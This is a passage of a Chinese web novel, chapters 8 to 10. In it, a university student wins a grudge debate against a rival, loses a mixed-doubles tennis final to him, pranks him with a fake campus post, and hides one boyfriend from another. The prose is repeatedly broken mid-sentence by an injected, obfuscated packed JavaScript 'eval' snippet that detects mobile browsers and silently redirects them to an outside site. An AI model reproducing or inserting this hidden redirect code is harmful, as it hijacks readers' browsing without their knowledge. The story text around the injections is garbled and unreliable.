“哎!你这个人怎么这么说话的,一点也不讲理——” 迟意转过头,瞥了眼荔枝探过来扯他衣角的手,蹙起眉头刚要说话。 余上月眼疾手快拉住了她:“算了吧荔枝,” “我们不和傻子论长短。” 她面带微笑直视两人,也不管陈旭和迟意接下来的表情,径直拉着荔枝离开。 从网球 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16417862|184713||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 场回去路上,荔枝余怒未消,骂骂咧咧一路。 “难怪你讨厌那个迟意,从来没见过这么不讲理的人,好像网球场是他家开的一样,他还当什么学生啊,他就应该去当宇宙的主宰,世界中心,让整个地球都围着他转!!” 成年这么久以后,余上月还是第一次见荔枝生这么大气。 她很早时候就学会了保护自己,平时不轻易与人深交,也不太会情绪失控。 余上月心渐渐沉下来,没发觉自己已经冷着脸许久没说话了。 荔枝先发现她的状态,愣了下,立马收回了咒骂,反而笑起来宽慰她。 “哎呀没事啦,我就是发泄几句,这点小事根本不值得我放心上。” “要是每天因为这种人生气那我早就得乳腺结节了,放心,我惜命得很。”荔枝拉着她的手,晃了晃,影子在路灯下摆动。 “走,我请你吃冰棍儿。” 荔枝心大,每次遇到什么事总是很快忘到脑后,不像余上月,一般不记仇,只要让她记上了,对方绝对没有好果子吃。 余上月惯来的宗旨是,惹她没事,惹荔枝那这个人就死定了。 况且,她也看迟意不顺眼很久了。 时间如常往前流动,两周、或许是三周,某天突然从别人口中得知迟意会参加这届辩论赛时,余上月脑中只有一个念头,机会来了。 报名名单出来,全校总共有十支队伍。余上月找了几个要好同学,提前告知了他们比赛目的,并且给与了一定回报。 他们队私下命名为复仇者联盟。 她率领着他们队一路过五关斩六将,经历无数奋战的夜晚,终于在总决赛上,和迟意狭路相逢。 当天总决赛刚好是一个关于人性的论题。 【人性本善还是人性本恶?】 迟意他们队选了正方。 余上月拿的是反方。 前面几辩两边选手打得有来有回,论据有力,观点精彩,只不过实力旗鼓相当,始终未曾论出个胜负。 最后结尾余上月结辩。 至今当时在现场的人,都能记得她站在台上对着迟意一番慷慨陈词的画面。 黑色西装,长发梳成高马尾,挺直肩背,威风凛凛得宛如一个披甲出征的女将军。 “我认为人性本恶,为什么呢?就像同一场流星雨,有些人可以在同等对外开放的场地观星,有人为了满足私欲直接买下最佳观赏角度,禁止外人进入。自私自利是恶,圈地行为是恶。” “为科普知识筹备的分享活动,有人借口‘无聊’态度恶劣拒绝。不近人情是恶,言语是恶。” “双方同时预约的网球场地,有人不打商量直接霸道占用,驱逐他人。行为是恶,贪婪是恶。” “你们看,只是这些日常中的小事,都可以反馈出这么多人性的恶,而这些小事,几乎每天随时随地都会发生在我们身边。” …… “最后,我想说,善良不是一种天赋,而是一种选择,希望大家都可以成为一个善良而真诚的人。” 余上月说完,底下鸦雀无声。 纵使她没有直接点名,大部分人都清楚她指桑骂槐说的是谁了。 在场所有目光都聚集在迟意身上。 他紧抿嘴角,没有说话,时间大概静止了长达三分钟,他的队友涨红着脸跳出来,指责她违规人身攻击。 余上月背手立在原地,微微一笑。 这一刻,比赛的输赢对她来说已经不重要了。 在她和迟意之间,她已经赢了。 那口憋了三四个月的恶气终于吐出来。 荔枝不会得乳腺结节,她也不会。 8. 第八个月亮 第八章 这件事情过后,余上月和迟意还碰到过一次。 又是在南门口那个便利店。 她下午刚好是体育课,操场旁边最近的便利店就是这个。 余上月才打完球,带着一身汗意气喘吁吁推开玻璃门,直奔架子上的巧克力奶,刚伸手过去,巧得是,货架另一端多出来一个人,斜伸出手,几乎同时和她握住那瓶牛奶。 更为巧合的是,这瓶奶刚好又是架子上最后一瓶。 这款巧克力奶是国外进口的品牌,经常缺货,余上月在超市扑空好几次了。 两人看着像同时伸手过来,但极为巧妙的是,同上次一样,余上月手比他先伸出几秒,先握住了瓶身,他只能碰触到瓶盖顶端。 待余上月看清迟意的脸之后,毫不犹豫握住瓶身,直接把巧克力奶从架子上拿下来,不忘对他展颜一笑。 “不好意思啊,先到先得。” 她开开心心地去收银台结账了。 没心思去看身后迟意的神情。 就像那天辩论赛结束之后,她就再也没关注他的消息。 毕竟败者,不值得她耗费太多精力。 余上月悠哉美好的生活止步于那场网球比赛。 南大一年一度的网球大赛向来是备受关注的,那一届的奖品也格外诱人,南大和西卡公司的联名周边,男女混双的冠军更是一对设计独特的钥匙扣,卡通小人抱着一个大大网球,爆炸头包子脸,可爱软萌,配色炫酷,荔枝看到第一眼就立刻抱着手机在床上啊啊大叫起来。 “我要我要我要!!太可爱啦!!我受不了余上月快去给我赢——” 余上月偏头过去,扫了两眼比赛内容,内心只有一个想法,小小混双冠军,轻松拿下。 不是她吹,从三岁摸球开始,一路走来的比赛她就没有败过——就算有,那也是意外。 放眼南大,除了不和体育系那群专业的比,余上月觉得自己打遍学校无敌手。 毕竟普通大学生和运动员在赛制上是分开的。 她信心满满,直接对荔枝放下豪言,胜券在握。 “区区钥匙扣,等我手到擒来。” 设想是美好的,如果没有半路杀出的迟意,冠军确实已经被余上月收入囊中。 比赛分为AB两个赛区,余上月是打到一半的时候,听人说B赛区积分最高的队伍是迟意,那个女搭档她也听过,除她之外,女单夺冠另一为热门人选。 迟意挺有人脉啊。 听到这个消息时,余上月第一反应是咬牙切齿如是想道。 于是,她如同被打了鸡血,铆足劲更加坚定拿冠军的心,对手都朝她宣战了,她肯定得回敬回去。 毕竟,从前也没见他对网球比赛有过兴趣。 余上月确定,他这波就是冲她来的。 也是,泥人都有三分脾气,更何况他上次辩论赛被她这么狠狠羞辱。 距离总决赛还有不到两周时间,这个过程中,最痛苦的是余上月男搭档。 当时挑选组合的时候,她肯定也是从各方面实力来考量的,这个男生水平不低,然而通过她这段时间观察迟意场上的表现来看,虽然很不想承认,但——他还是差了一点。 余上月紧急给他加练,堪称魔鬼训练营,深夜球场,又一次对打结束,男生直接丢开拍子瘫倒在地,双手张开汗如雨下,闭眼剧烈喘气。 “余上月你杀了我吧,不知道的还以为我们在冲击奥运会冠军……”一句话说得断断续续,男生几个字大喘一口气,体力耗尽。 余上月持拍子过来,同样剧烈运动后的热汗疲惫,但比他好些,不仅能稳稳站立还能鼓励他。 “加油,再坚持一下今天就结束了。” 女生低头弯腰,轻声鼓励他,身后路灯明亮,投射下她的影子,宛如恶魔低语。 男生当即打了个激灵,手背重重盖住脸,哀嚎一声,不愿面对。 就这样,来到了总决赛那一天。 余上月觉得,自己已经付出了百分百努力,隔着球网看到对面同样持拍的迟意时,她想,她一定不能输。 巧得是,对面的人也是和她同样想法。 迟意自小到大二十年来,从来没有因为一个人这么生气过,家里人总说他情绪太少,没有年轻人的活力,遇到余上月之后,他现在感受到了。 原来活力就是怒火。 愤怒确实能让一个人充满斗志。 原本辩论赛的事情他并不想放在心上,或许原先因为个性使然再加上偏见,确实从前有点冒犯到了她,这次事情就算两清。 直到那次便利店撞上,拿着巧克力奶的替代品结完账出来,好巧不巧偏头看到了玻璃门上贴着的网球大赛报名宣传。 女生嚣张得意的笑脸一直在他眼前反复晃动。 他脑中一瞬间,突然想要反击回去。 报完名没太久他就后悔了,网球搭档是他找同学联系的,一起练了几次球,磨合和社交他都觉得很累。 正在思索自己这次行为是否合理时,A区余上月队伍疯狂练球的消息传入了他的耳中。 很好。 熟悉的斗志重新回到了他的身体。 两人都没想过让对方赢,开场第一个球就打得无比激烈,两边你来我往,绿色小球过网又重新落地弹跳而起,双方选手严阵以待,未从有踏空的机会,每一次都被人狠狠击过来。 激烈的对战让两边观众看得精彩不已,第一个球就被吊足了胃口,原以为肯定接不住的球总能在最后被人起死回生,尤其是场上的那对男女。 两人宛如仇敌,拼尽全力去救每一个球,打过去时,又带着要把对面摁死在地的杀意。 “好爽啊这场球看的!”上面有观众忍不住和周围人讨论。 “这个A组的女生和B组那个男选手是谁啊,怎么两个人好像有仇一样??打得这么凶???” “你不知道??”对方也来了劲,立刻兴奋给他科普,周围人都不由竖起耳朵听。 这人先是从两人不对付开始说,然后着重铺垫到了那场辩论赛,栩栩如生地描绘了一番当时的场景——他直到现在都记忆犹新。 听完前情提要,再来看球就觉得更加激情十足,总之,这场球赛现场的观众回想起来,几年后依然是印象深刻,难以忘怀。 哪怕,最后那个女生因为一分之差落败,在当时的众人心目中,两支队伍应该是同时拿冠。 毕竟还是先天劣势,女性的体力比起男生要差了一些。 而她的男搭档,比不过对面。 与其说是她输了,不如说是他们队伍输给了对面队伍。 说到这里,众人才恍然大悟。 对啊,这是男女混双不是单人对决,他们怎么就只顾着看那两个人去了! 余上月被这个比赛结果气得七窍升天。 败给迟意,是她这辈子最耻辱的事。 尤其是两人还要站在同一个领奖台,他拿冠军奖杯,她拿亚军。 余上月站在一旁,眼睁睁看着荔枝想要的那对钥匙扣被送到迟意和他搭档的手里。 两人拿着奖杯奖品对着镜头微笑合影,宛如胜利者的宣告。 她当下感觉脑子有点明显发懵,被气晕的。 虽然事后荔枝极力安慰她,赌咒发誓保证自己只是随口一说,其实并没有很想要这个钥匙扣,余上月还是咽不下这口气。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16417863|184713||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 尤其是在后面的女单对决中,她和迟意的那名女搭档对上,精疲力竭厮杀拿下冠军后,对方过来,主动搭话。 余上月那会正在喝水,汗水浸透发丝,女生打量她一眼,开口:“你确实比我厉害一点。” 余上月没什么情绪回应:“承认。” 对方突然笑了:“听说你和迟意不合是吧?” 余上月微露诧异,终于转头看她,对方笑容更深:“全校几乎都知道了,辩论赛你指着他鼻子骂。” “…………”余上月万万没想到自己会给校友们留下这样的印象。 “其实我一开始没打算报名男女双打的,是迟意主动找的我,我一直不太清楚原因,直到听说了你和他的事情。”她笑了笑,看热闹不嫌事大,留下一句话就潇洒转身离开。 “抱歉啦,我没有想要故意针对你。” 那故意针对她的另有其人呗。 余上月磨了磨牙,手里的矿泉水瓶被狠狠捏扁,“砰”地一声,被她丢入垃圾桶。 最后送给荔枝的,是余上月自己的女单冠军奖品,一个大版的学校联名公仔,虽然没有钥匙扣的卡通可爱,但胜在柔软大只,荔枝欢喜抱在怀里,扬言每天晚上可以放在床上陪她一起睡觉。 余上月并没有得到太多安慰,她满脑子想的,还是怎么报复回去。 某天夜里,校园投稿墙突然流传出这样一篇小作文。 因其栩栩如生的文字和吊诡的情节,迅速引起热度,以想象不到的速度在校内极快传播扩散。 【墙墙,我想投稿一则自身经历。昨天晚上经过学校天鹅湖时,我看到那个大石头上面坐了个人,你知道那个场景很奇怪,因为我在图书馆自习很晚,回去的时候已经快十二点了,那个人还穿着一件白衣服,坐在那里一动不动的,就特别吓人。 但是我平时是个唯物主义者,而且这么晚了,也很担心万一真是同学,出点什么事也不好。 于是我就仔细观察了一会,确定他是个人后,鼓起勇气主动上去了,结果一聊,他果然是我们学校学生,只是心情郁闷,所以才大半夜坐在外面。 我怕他想不开,所以和他好好聊了下,原来这个男生家里催他找对象,他觉得自己年纪轻轻就要被逼相亲非常痛苦,他认为爱情是自由的,必须志同道合的两个人才能携手走下去。 我们聊到最后,他说,他不想因此妥协,与其被逼,不如主动出击,寻找自己理想中的爱人。 因为太晚,我开解了他一番,就回来了,但是第二天去上课路过那里时,在地上捡到了一张学生证,上面名字叫迟意。 大晚上没看清,看到那张照片才发现他还挺帅的,所以也想在这里借此机会和同学们说一声,如果最近有恋爱计划的,可以尝试主动去了解一下他,给彼此一个机会。 这个男生确实还不错,性格长相都挺好的,但是我没有他的联系方式,感兴趣的可以直接去和他同学打听,对了,他是天文系的。】 投稿到这里就结束了。 如果换成别人,大家可能就怀疑皮下本人披马甲反串了,以此来引起学校女生注意。 但迟意是谁,校园男神当之无愧。 纵使有人怀疑信息真实性,比如别人故意整蛊他之类,也抵不过“迟意、想要、主动、找对象的诱惑。” 不管真假,先冲为敬。 迟意手机被消息轰炸加爆的那天,他还不知道发生了什么。 直到有人把这张投稿截图发给他。 “…………” 沉默数秒后,他握紧手机,咬牙切齿念出了那个占据他心头数月的名字。 “余、上、月——” “你死定了。” 9. 第九个月亮 第九章 周五放学,余上月背着包从学校出来,南大校门外也是一片林荫道,栽满粗壮茂盛的梧桐,树影投落下来,遮天蔽日。 她走出几十米,才在一棵粗壮树干旁看到沈子野。 男生一头银发,身体往后靠斜倚着一辆黑色机车,军绿色夹克,低头看手机的侧脸弧度精致。 光站在那里,就一眼醒目,成为了这条路上最特别的景观。 余上月脚步轻巧,刚靠近,面前的人就似有了实感,抬头朝她望来。 “嘿。”她装模作样要吓他,沈子野勾唇一笑,直接伸手把她拉到怀里,依恋抱住。 “想你了。”他最近这种情话顺畅自然,完全没了两人初识时的那种生涩。 余上月有些应付不来,摸摸他的背,只能温柔说:“我也想你……” 沈子野心满意足,松开她,跨腿上车,朝她递来一个粉色头盔。 “走,我带你去个地方。”他神神秘秘,余上月半信半疑戴上头盔,坐上机车后座,搂住他的腰。 “去哪呀?” “到了你就知道了。” 重型机车在道上疾驶,发动机轰鸣,风鼓动着发丝吹拂在脸上,周围两旁建筑景色快速后退,余上月眯起眼,感受着风的温度。 沈子野一出街就很难不吸引注意力,哪怕是等红绿灯短短阶段,旁边都有路人对他举起手机拍照,余上月庆幸头盔挡住了她的脸。 两人有过约定,他尽量不来学校找她,尤其是……骑着他这台炫酷的摩托车。 帅得太过招眼。 余上月虽然交际花,但也不想自己的桃色绯闻满天飞。 她很爱惜羽毛的! 爱惜归爱惜,爱玩也真爱玩。 她只坐过一次沈子野的车就爱上了。即便很不想承认,她从小到的成长经历也是循规蹈矩的,小学初中家里专车接送,高中有点不服管束,开始学自行车,同荔枝每天一起上下学,坐过最冒险的交通工具,也就是自己独自第一次用手机打的网约车。 直到现在她还记得当时车里的烟味和态度很差的司机。 现在早习以为常。 她已经天不怕地不怕。 第一次坐沈子野的车,是个初秋傍晚,车子一路驶向山顶,那是一座未被旅游开发的山,没有游客,两人在寂静空旷的崖边,欣赏到了一场绝美日落。 芦苇金黄摇摆,夕阳也是。 就那一天,她爱上了在风里徜徉的感觉。 后来沈子野一有空就接她出去兜风,有时候是跑很远去吃某个食物,比如两人第一次相遇的那个面包店,沈子野那天,也是为了买那个很火的草莓班戟。 有时候会去山顶,看日出、看雨后云海、看日夜交替的蓝调时刻…… 有时候穿街走巷,欣赏街头演出,墙壁涂鸦,还有逛各种奇奇怪怪的小店。 记得有次,两人经过一家纯手工银饰店,老板比起商人更像艺术家,手把手带他们体验了一次银饰锻造,余上月给自己打了条项链,银白的链子,下面缀着一个小小十字架,上面绑着受刑的耶稣。 沈子野打了她的同款。 从店里出来,莫名其妙变成了情侣项链。 这条项链沈子野从不离身,到现在依然挂在脖子上面。 余上月也很少摘,她单纯因为是喜欢。 自己亲手做的第一件手工艺品。 就连设计图样也是她画的。 机车在城市里穿梭行驶,很快驶入市中心,周围车辆变多,高楼大厦和广告牌映入眼帘,车道变得拥挤。 沈子野驾驶风格很像他这个人,桀骜不驯,余上月在的时候很收敛,还是秉持着安全第一,他独自一人时,正常超车看起来都像是在炫技,酷到没边。 此刻道路拥堵,他的车子相对更灵活,沈子野在车流中熟练穿梭,经验丰富,重型机动车载着年轻男女,擦过旁边的黑色迈巴赫往前疾驰而去。 正巧黑车慢一步停下来等红绿灯,司机脚踩刹车,望着远处呼啸离开的摩托车面露羡慕,与此同时,后座的人看资料疲惫,抬头按着太阳穴两边放松。 前头副驾秘书嘀咕:“现在的年轻人真会玩。” 他闻声抬眼,看着车窗外驶远的两个背影,微眯起眸,莫名感觉到一丝熟悉。 宗俞不由感到荒谬,心头嗤笑后,想起什么,吩咐秘书。 “去问一下余小姐最近在忙什么,让她晚上过来一趟。” “好的,宗总。” 余小姐…… 他在心里揣测着这个称呼。 看来最近大老板心里不太顺,余小姐又得罪他了! 何止最近,宗俞出差这些天,除了刚开始那一两周,余上月乖乖接他电话回消息,后面他不联系,手机里就安安静静,没有一条新内容进来。 看来没有他的日子,她也每天玩得乐不思蜀,丝毫没有留念。 直到南市最大商业中心的大厦广告牌出现在视线中,余上月才察觉到他们此行的最终目的地。 沈子野在商场外面找了块地方停好车子,带着她往里走去。 “我们来这干什么?”余上月在后头困惑,略带不安。 沈子野不是什么有钱富二代,相反,他的日子过得并不算特别宽裕,全靠乐队演出收入来维持生活,还要支出工作室房租等各种费用,属于能挣点钱但几乎挥霍月光的那种。 虽然说不上难,但也没有太多的余钱能支撑这个商场的品牌消费。 难道只是来这边有点事情? 余上月不敢乱想,在听到沈子野答复后,只能被他拉着往里走去。 “待会就知道了,你跟着我。” 两人进去商场,径直乘电梯上了二楼,沈子野带着她进去一家大牌奢侈品店,直奔饰品专柜。 “你上次不是喜欢这个耳环吗?”玻璃柜台闪亮,他指着里头一对镶钻星形耳钉问她。男生脸上期待的笑容此刻比店里的灯光还要明亮几分。 余上月感觉自己眼睛好像被烫到一般,安静数秒,才张口:“……我只是随便说说而已。” 她感觉自己声音轻得让人听不清,没有太多力气:“完全没有想买。” 她想起来了。 一次在他们酒吧玩,沈子野和乐队几人在聊天,余上月有点无聊,随手刷了会手机,刚好软件首页给她推送了这款耳钉,她只是点开瞧了几眼。 正巧旁边的人偏头过来,沈子野视线落在她屏幕上,像是随口问:“你喜欢?” “还行吧,设计还不错。”她也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16417864|184713||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 随口一答,毕竟那对耳钉上面标志性logo醒目,作为他们普通人,从来没有想过把这种东西当做日常消费。 单纯只是从一个路人欣赏的眼光来评价。 余上月还是学生,并不热衷购买奢侈品,如果不是宗俞,她首页也不会有这种东西推送。 自从他给她送过奢侈品后,手机里就突然多出了这些。 大数据无所不在。 对于宗俞来说,随手送出的一件奢侈品就像他们在外面喝一瓶水这么简单,但对沈子野来说,这对耳钉可能是他两个月乐队演出收入了。 “麻烦帮我把这个打包起来。”他在她身旁对着柜姐说道,余上月连忙拉住他,“不用……” “没事,我这个月挣了笔外快。”沈子野在她打断前反握住她的手,凑在她耳边悄悄说道,嘴角勾起的雀跃笑容有点孩子气,神色很骄傲,“完全够买下这对耳钉。” “我想送给你。” 余上月最后没有拒绝。 两人提着奢侈品包装袋出门,小小一个袋子,里面装着普通人几个月的工资。 沈子野确实也没有说谎,酒吧老板宋明韬上个月给他介绍了一个工作,是个商场开业演出,一次性拿到了将近他两个月收入的数目。 只不过他没有说,那是整个乐队的酬劳,四个人分下来,并没有剩太多,他又攒了一个多月工资,才勉强买下这对耳钉。 不过没关系,只要她开心,这是最重要的。 沈子野望着余上月的笑脸,觉得这一刻什么都是值得的。 两人下去电梯,穿过商场准备离开,抵达大堂时,突然看到两旁小跑的工作人员,都往一个地方赶去,神色匆忙。 “宗总怎么突然来巡视?都没人提前打个招呼。” “我怎么知道!可能大老板就是想搞个突然袭击吧!” “要死了要死了,我一大早过来还没有全盘检查过……”几人一边议论一边走向电梯口,此时此刻,那里已经等候了不少人,不时还在低头检查自己的着装是否合理。 电光火石间,余上月想起这个商场是宗俞他们集团的,那大老板…… “什么大老板?”沈子野目光好奇朝那里探去,随着他话音落下,电梯门缓缓打开,即将露出里头西装革履的人。 “对了阿野!我刚刚好像还有个东西没买!我们快抓紧时间去看看——”余上月声线努力沉着镇定,拖着沈子野手臂飞快转身,两人背朝电梯口,往相反的方向快步走去。 宗俞走出电梯,眼角依稀略过一道熟悉背影。 这是今天第二次了。 他在面前一众下属簇拥中,无视耳边整齐问好声,先偏过头,低声询问身旁助理。 “联系上余上月了吗?” “先前在车上给余小姐打电话她没接,我再打一个试试。”助理诚惶诚恐,正慌忙掏出手机,宗俞已经径直解锁屏幕,拿自己手机拨打那个号码。 远处余上月刚好闪身进入一家潮玩家居店,包里手机疯狂震动,她只掏出看了眼,立刻重重锁上,宛如捏着一个烫手山芋,不敢接也不敢挂。 身旁沈子野见状,低头关切:“怎么了?月月。” 他垂眸目光落在她震动不已的手机上,仿佛如常问询:“谁的电话?” 10. 第十个月亮 第十章 余上月一动不敢动。 周遭人潮汹涌,店内嘈杂,沈子野还在一旁等待她的回答,数秒后,余上月冷静下来,面不改色。 “我出去接个电话。” “你先逛一下。”她情真意切望着他叮嘱,极有安抚力,“我很快回来。” 待余上月走到最近的安全通道,手里电话已经自动挂断多时,她调整呼吸重新拨过去,没两下嘟声,那边很快接通。 “喂。”宗俞低沉嗓音传入耳中,听不出情绪。 “我刚刚在忙,没有看到手机。”余上月语气雀跃如常,“怎么突然给我打电话,你回国了?” “忙什么?”对面的人没接茬,反而径直追问。 余上月开始怀疑他先前是不是看到她了。 但是,只要没有证据,她就清清白白。 退一万步讲,即便证据摆在她眼前,她也可以抵死不认。 哪怕此刻对面那头人看不见,余上月也笑得真诚无比,语气坦然:“我能忙啥呀,就学生会的事情,一直在弄资料。” “现在在学校?”宗俞转念问。 余上月心思转了下,轻快回答:“对啊,你要来找我吗?” 听筒对面安静片刻,只听宗俞出声:“待会我让司机过来接你。” 待会是多久? 余上月估摸了一下这边到学校距离,得出一个大概时间。 很紧迫。 她没有追问具体情况,反而干脆应下,笑盈盈:“好哦,那我在学校等他,等他到了提前给我打电话。” 余上月挂完电话飞快转身回去,沈子野已经在店内等得有些索然无味,她整理了一下情绪,笑着进去。 “阿野,不好意思学生会突然有点事情,我可能要先回学校一下了。”她挽着他手臂,歉意十足。 “下次一定好好补偿你。” “别生气。” 余上月拒绝了沈子野要送她的提议,在手机上已经提前叫好了网约车,她把订单同时发给了沈子野,让他放心。 “阿野,谢谢你今天给我买的礼物,我很喜欢,但是这份礼物实在太昂贵了,希望你下次不要这么破费,其实不管是大牌还是街边无名小店,只要是你给我买的,我都很喜欢,很开心。” 她临上车前,真挚诚恳地对沈子野开口,说完拉开车门落座,车子疾驰而去,站在那的人消失在后视镜。 余上月拿着手机,给宗俞发消息。 月野兔:【司机还有多久到呀,我快收拾好啦】 月野兔:【已经迫不及待想要见到你了(可爱)】 没等宗俞回复,余上月面无表情收起手机,盯着窗外沉思。 好像一直这样下去……也不太行。 那怎么办呢? 她苦恼皱起脸,思来想去,找不到合适解决办法,最后只能把怒气归结于突然回国的宗俞。 可恶,他不是在巡视商场吗?!能不能好好专心打理家业了!忙完再找她不行吗?! 两人时间均匀分配,就不会像现在这样撞车了。 余上月冷酷心想。 接到宗俞派来的司机电话那会,余上月刚下出租车,她手里还提了沈子野给她买的耳钉,而且为了保险,她必须回宿舍换一身衣服。 余上月一边敷衍司机还在化妆要等等,一边脚下匆忙赶路,以最快速度赶到宿舍,放下东西另外换了身裙子,然后匆匆补了一下妆容。 抵达司机说的停车点时,她大概迟到了二十分钟,司机尽职尽责问好,待她坐稳后启程。 过去大半小时,余上月看到熟悉的小区大门。 这是宗俞家。 坐落在市中心的一处高档大平层,他平时回南市都是在这边落脚。 “宗先生说让您先上去等他。” “好。”余上月略显无语,明明两人有联系方式,但他每次都喜欢用这种方式递话,身边有几个人伺候就是这么物尽其用的吗? 她心里吐槽,面上保持得体微笑,下车后熟练刷卡乘电梯,直达入户大门,刚输入自己指纹解锁进去,就看到阿姨系着围裙过来,厨房抽油烟机在运作。 “余小姐。”她笑着同她打招呼。 “阿姨好。”看来今晚宗俞准备在家里吃饭。 大老板日理万机,肯定没有功夫自己下厨,两人只有约会的时候才会在外面吃,大部分时间,宗俞更喜欢在家吃饭。余上月也很喜欢他们家这个做饭阿姨,手艺比起外面五星级餐厅厨师不遑多让,而且中西餐都能信手拈来,她每次点的菜都能好吃到超出心里预期。 不知道宗俞还有多久才回来,到家时余上月给他发了条信息。 月野兔:【我到啦】 没有收到回复。 可能在忙。 余上月踩掉拖鞋径直踏上地毯,拿起茶几上的遥控器打开投影仪,拉上窗帘,把自己摔倒他们家真皮沙发当中,挑了部心仪已久的片子慢慢看。 阿姨没过多久,给她切了水果端过来,还附赠两块自己做的小甜品,并告知柜子里有各种零食。 那些零食还是余上月和宗俞第一次逛超市时选购的,从此之后他家就定期补充,没有断过货。 宗俞到家时,就看到这一幕。 余上月没个正形躺在沙发上,左手一袋薯片,右手一支奶酪棒,桌上散落着水果皮和咬了几口的蛋糕,客厅投影仪打开,光影在她脸上变换,女生全神贯注盯着屏幕,压根没有注意他的到来。 还是拿东西出来的阿姨第一个看到他,连忙打招呼:“宗先生。” 余上月闻声抬头,开心道:“你回来啦!” “谁让她吃这么多零食的?”宗俞一来就是兴师问罪,阿姨面露惶恐,欲言又止没出声,余上月原本乱七八糟的躺姿不由坐正,悻悻放下手里东西。 “骂我就骂我,说阿姨干什么。”她嘟囔着,把阿姨拉开,自己直视着面前宗俞,字正腔圆,“请不要指桑骂槐。” 宗俞沉着眼,没理她,随手扯开领带,走向沙发。 先前余上月的“宝座”已经被她躺出一个浅浅的坑,周围散落着毯子、薯片屑、还有包装袋垃圾……宗俞就站在那前面停驻脚步,盯着她那片地方没了下一步动作。 余上月跟在他身后,莫名几丝赧然,她心想:这真皮沙发的回弹性很一般,宗俞是不是被手下人抽回扣了。 宗俞大概忍耐了数十秒,耐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16417865|184713||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 心告罄,抬手重摁着眉心,扬声叫阿姨:“帮忙把沙发这边收拾一下,麻烦了。” “…………”余上月没等阿姨出手,先识趣狗腿上前,手里飞快把毯子卷好,然后麻利收拾掉周围垃圾,毕恭毕敬站在一旁,朝他弯腰伸手示意。 “您请坐。” “…………”宗俞瞥她一眼,抬腿落坐。 “说吧。”他第一句话照样是兴师问罪,完全没有因为余上月的表现而给她加分。 “这段时间干什么去了?” 宗俞身上天然的威压慑人,在公司经手谈判的项目动辄上百亿,经常一句话让底下众人大气不敢出,就连身边司机助理都本能怕他。 唯独余上月,野性难驯,除了偶尔讨巧卖乖,经常气得他七窍生烟。 此时此刻也是。 在宗俞面色沉冷的质问之下,依然漫不经心背着手,理所当然答:“我每天除了上课下课还能干什么?我是个学生,主业就是学习,副业经营学生会管理,空闲时间大多用来写作业、追剧、打球、吃饭、睡觉……” 她掰着手指头给他数,数到一半宗俞听不下去了,被他打断。 “行了。”一天到晚只会和他鬼扯。 宗俞熟悉她这副模样,一旦余上月开始扯七扯八避重就轻的时候,就别想从她嘴里听到实话。 不过没关系,他自然可以查到。 宗俞念及此处,面色稍缓,注视着面前的人,拍了拍身旁沙发:“坐吧。” 宗总愿意放过她息事宁人,余上月肯定是顺杆往上爬,不仅麻溜过去坐下,还顺势钻到他怀里,蹭了蹭。 “好了别生气了嘛,你出去那么久我也没有和你闹啊,谁家好人一走大半个月音讯全无。”余上月似真似假地抱怨,既展现了对他的在意,又表露了自己的委屈,简直一石二鸟,一箭双雕! “想要什么?”宗俞揉着她乌黑的发尾,垂眸瞧不清眼中神色,“补偿你。” “我什么都不要,只要你陪陪我。”余上月撒娇道。她有时候真佩服自己这种见人说人话见鬼说鬼话丝毫不脸红的天赋,她要是个男人也得爱上自己。 果不其然,宗俞态度软和不少,偏头在她额上轻轻一吻,浑身的冷硬已经卸下,身体放松下来调整坐姿,让她可以躺得更舒服。 “刚刚在看什么电影呢?”投影幕布上的画面还在流动,电影的剧情早已被耽误大段,余上月干脆拿过遥控器调进度条,嘴里顺口哄着人。 “是被种草了很久的一部科幻爱情片,你来之前也没仔细看,我们一起从头再看一遍吧。” “嗯。”宗俞对她这个决定没有异议。两人窝在沙发里,闲闲看着幕布上播放的电影。宗俞平日日理万机,少有这种空闲时刻,紧绷多日的神经不知不觉松懈下来,他鼻间闻到了余上月发丝中传来的幽幽淡香。 她身上很多东西,都莫名其妙让他喜欢,没有缘由。 就像当初看到她的第一眼,两人台上台下,简短十几分钟的演示,他的目光却全程驻留在她身上,宛如命运钦点的相遇。 